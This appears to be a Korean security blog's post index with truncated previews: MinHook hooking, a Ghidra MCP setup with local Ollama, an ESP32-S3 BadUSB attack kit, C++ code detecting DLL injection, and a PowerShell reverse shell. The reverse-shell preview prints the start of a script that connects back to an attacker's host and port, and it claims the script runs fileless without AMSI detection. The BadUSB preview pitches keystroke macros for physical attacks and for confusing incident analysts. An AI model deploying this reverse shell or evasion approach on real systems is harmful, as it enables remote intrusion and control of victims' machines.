전체 글 50

[Hook] MinHook 빌드 및 사용 방법

Hooking을 쉽게 구현할수 있는 MinHook이라는 라이브러리가 존재하는데, 아래의 github 레포에서 다운받아 빌드하여 사용할 수 있음https://github.com/TsudaKageyu/minhook/releases/tag/v1.3.4 Release v1.3.4 · TsudaKageyu/minhookImproved error handling for enumerating and suspending threads. Visual Studio 2022 support. CMake support. Fixed compilation with Clang. Fixed compilation as C++ code.github.com 링크에 접근한 후 Release / v1.3.4의 Source code를 다운받음다..

ollama3.1 + mcp(5ire) + ghidra (외부 LLM API 사용이 제한되는 경우)

최근 ghidra도 mcp가 개발되면서 신기한 기능 및 편의성이 많이 생겼음 하지만 외부 LLM을 사용할 수 없는 기업 환경인 경우 해당 ghidra mcp 기능을 활용함에 있어 제약이 생기는데, 이를 로컬에 mcp tools를 지원하는 ollama를 구축하여 어느정도 해결할 수 있음 구축 과정ghidra 설치우선 ghidra를 다운받음https://github.com/NationalSecurityAgency/ghidra/releases Releases · NationalSecurityAgency/ghidraGhidra is a software reverse engineering (SRE) framework - NationalSecurityAgency/ghidragithub.com ghidra는 jdk2..

[arduino] Rubber Ducky? BadUSB?

아두이노와 같은 보드를 HID(Human Interface Device)로 인식시켜서 악성행위를 하는 매크로를 제작할 수 있음서버팜과 같은 곳은 키보드와 같은 HID 장치 연결이 기본적으로 제한되어 있어서, 물리적으로 접근 시 시도할 수 있는 공격 방법이 다양하지 않음이런 문제에 ESP32-S3를 활용한 BadUSB 키트가 도움이 될수 있다고 생각함뿐만 아니라, 별도의 파일 드롭 없이 키 매크로 만으로 여러 공격들을 시도해볼 수 있어서 사고 분석 시 초보 분석관들의 분석에 어려움을 유발시킬 수 있음 사용 보드ESP32-S3 보드를 사용하였으며, 알리에서 중국산 카피 제품을 만원대에서 구매 가능함 IDE 환경 구성Additional boards manager URLs에 https://raw.githubus..

Programming/c++ 2025.03.12

[c++] dll injection 탐지

#include #include #include #include #include #include #include #include #include #pragma comment(lib, "psapi.lib")// 제외할 경로 리스트 (이 경로에 있는 DLL은 탐지 대상에서 제외됨)std::vector excludedPaths = { //"C:\\Windows\\System32\\", //"C:\\Program Files\\Common Files\\"};// 특정 경로의 DLL을 제외하는 필터 함수bool isExcludedDll(const std::string& dllPath) { return std::any_of(excludedPaths.begin(), excludedPaths.end(),..

Programming/c++ 2025.03.08

[tool] Powershell Reverse Shell

reverse_shell.ps1fileless로도 사용가능함(powershell에 동작되게 하면 AMSI 탐지 없이 실행 가능함)$LHOST = "0.0.0.0" # 공격자의 IP$LPORT = 4444 # 공격자가 리스닝할 포트$client = New-Object System.Net.Sockets.TCPClient($LHOST, $LPORT)$stream = $client.GetStream()$writer = New-Object System.IO.StreamWriter($stream)$reader = New-Object System.IO.StreamReader($stream)$writer.AutoFlush = $true$sendBytes = [System.Text.Encod..